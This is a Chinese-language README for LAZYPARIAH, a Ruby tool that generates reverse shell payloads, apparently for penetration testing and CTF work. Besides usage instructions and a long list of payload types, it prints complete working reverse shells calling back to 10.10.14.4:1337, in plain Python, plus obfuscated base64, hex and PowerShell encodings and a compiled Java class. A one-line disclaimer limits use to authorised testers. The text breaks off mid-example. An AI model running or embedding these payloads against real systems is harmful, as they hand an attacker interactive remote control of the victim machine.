一个低依赖的命令行工具,用于动态生成反向 shell 载荷。
LAZYPARIAH 是一个简单且易于安装的命令行工具,完全用 Ruby 编写,可用于渗透测试和夺旗(CTF)比赛,以动态生成各种反向 shell 载荷。
LAZYPARIAH 支持的反向 shell 载荷包括(但不限于):
c_binaryruby、ruby_b64、ruby_hex、ruby_cpowershell_c、powershell_b64python_b64rust_binarysystem() 函数调用 base64 编码的 Python 载荷的 PHP 脚本:php_system_python_b64java_classperl、perl_b64、perl_hex、perl_cphp_fd、php_fd_c、php_fd_tags此工具仅限合格的渗透测试人员、安全研究人员和红队专业人员在授权的情况下使用。在下载、安装或使用此工具之前,请确保您了解所在司法管辖区的相关法律。本工具的作者不支持、鼓励或纵容将此工具用于非法或未经授权的目的。
java_class 载荷需要。)c_binary 载荷需要。)rust_binary 载荷需要。)LAZYPARIAH 可以通过 RubyGems 安装程序安装在大多数 GNU/Linux 和 BSD 系统上,如下所示:
gem install lazypariah
用法: lazypariah [选项] <载荷类型> <攻击者主机> <攻击者端口>
注意: <攻击者主机> 可以是 IPv4 地址、IPv6 地址或主机名。
示例: lazypariah -u python_b64 10.10.14.4 1555
示例: lazypariah python_c malicious.local 1337
有效载荷类型:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
有效选项:
-h, --help 显示帮助文本并退出。
-l, --license 显示许可证信息并退出。
-u, --url 对载荷进行 URL 编码。
-v, --version 显示版本信息并退出。
-D, --fd INTEGER 指定目标用于 TCP 的文件描述符。某些载荷需要。
-P, --pv INTEGER 指定载荷的 Python 版本。必须为 2 或 3。默认不指定版本。
-N, --no-new-line 不在载荷末尾附加换行符。
--b64 对 c_binary、rust_binary 或 java_class 载荷进行 base64 编码。
--hex 对 c_binary、rust_binary 或 java_class 载荷进行十六进制编码。
--gzip 使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷。
--gzip_b64 使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷,并对结果进行 base64 编码。
--gzip_hex 使用 zlib 压缩 c_binary、rust_binary 或 java_class 载荷,并对结果进行十六进制编码。
上面列出的载荷基本上是按系统命名的。
以 _c 结尾的载荷旨在从 shell 会话中执行。这些载荷直接使用相关解释器(例如 python3 -c 或 ruby -e)执行代码。
例如,命令 lazypariah python_c 10.10.14.4 1337 应生成以下输出:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
而命令 lazypariah python 10.10.14.4 1337 则应直接生成一段 Python 代码块,可以放在 .py 文件中:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
一般来说,选择以 _b64 结尾的载荷会生成一个命令,它类似于以 _c 结尾的载荷,打算从 shell 会话中运行,但结构不同。这些命令实质上是将 base64 编码的代码块通过管道传递给 base64 -d,然后再传递给相关解释器(如 python3、python2 或 ruby)。
例如,命令 lazypariah python_b64 10.10.14.4 1337 应生成以下输出:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
powershell_b64 例外,它使用 Powershell 内置的 base64 解码器。例如,命令 lazypariah powershell_b64 10.10.14.4 1337 应返回以下内容:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(注意:上述载荷的长度是因为 Powershell 使用 UTF-16LE 编码,其中单个字符对应两个字节。)
这些类型的载荷在某些情况下很有用,因为它们不包含任何单引号或双引号。
类似地,选择以 _hex 结尾的载荷会生成一个命令,它将十六进制编码的代码块通过管道传递给 xxd -p -r -,然后再传递给相关解释器。例如,lazypariah perl_hex 10.10.14.4 1337 应生成以下输出:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
编译的载荷(c_binary、java_class 和 rust_binary)具有可选的命令行参数,用于 zlib 压缩(--gzip)、base64 编码(--b64)和十六进制编码(--hex)。
例如,命令 lazypariah --b64 java_class 10.10.14.4 1337 应生成以下输出:
yv66vgAAADcAXwoAHQApBwAqBwArCAAsCgACAC0KAAIALgoAAgAvBwAwCAAxCgAIADIKACMAMwoAIwA0CgAIADMKACMANQoACAA1CgAIADYKACQANwoAJAA4CgAlADkKACUAOgUAAAAAAAAAMgoAOwA8CgAjAD0HAD4KACMAPwoACABABwBBBwBCAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAEMHAEQHAEUBAApFeGNlcHRpb25zAQAKU291cmNlRmlsZQEAB3JzLmphdmEMAB4AHwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAcvYmluL3NoDAAeAEYMAEcASAwASQBKAQAPamF2YS9uZXQvU29ja2V0AQAKMTAuMTAuMTQuNAwAHgBLDABMAE0MAE4ATQwATwBQDABRAFIMAFMAVAwAVQBUDABWAFcMAFgAHwcAWQwAWgBbDABcAFQBABNqYXZhL2xhbmcvRXhjZXB0aW9uDABdAB8MAF4AHwEAAnJzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAFGphdmEvaW8vT3V0cHV0U3RyZWFtAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAE3JlZGlyZWN0RXJyb3JTdHJlYW0BAB0oWilMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpVgEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAA5nZXRFcnJvclN0cmVhbQEAD2dldE91dHB1dFN0cmVhbQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGlzQ2xvc2VkAQADKClaAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABXdyaXRlAQAEKEkpVgEABWZsdXNoAQAQamF2YS9sYW5nL1RocmVhZAEABXNsZWVwAQAEKEopVgEACWV4aXRWYWx1ZQEAB2Rlc3Ryb3kBAAVjbG9zZQAhABwAHQAAAAAAAQABAB4AHwACACAAAAEAAAYACQAAALAqtwABuwACWQS9AANZAxIEU7cABQS2AAa2AAdMuwAIWRIJEQU5twAKTSu2AAtOK7YADDoELLYADToFK7YADjoGLLYADzoHLLYAEJoAXS22ABGeAA8ZBy22ABK2ABOn//AZBLYAEZ4AEBkHGQS2ABK2ABOn/+4ZBbYAEZ4AEBkGGQW2ABK2ABOn/+4ZB7YAFBkGtgAUFAAVuAAXK7YAFGenAAg6CKf/oiu2ABostgAbsQABAJoAnwCiABkAAgAhAAAABgABAAAAAQAiAAAAKgAH/wBGAAgHABwHACMHAAgHACQHACQHACQHACUHACUAAAYSFBRXBwAZBAAmAAAABAABABkAAQAnAAAAAgAo
还可以对上述编译载荷之一进行 zlib 压缩,然后使用 --gzip_b64 和 --gzip_hex 命令行参数分别进行 base64 或十六进制编码。例如,命令 lazypariah --gzip_hex java_class 10.10.14.4 1337 应生成以下输出: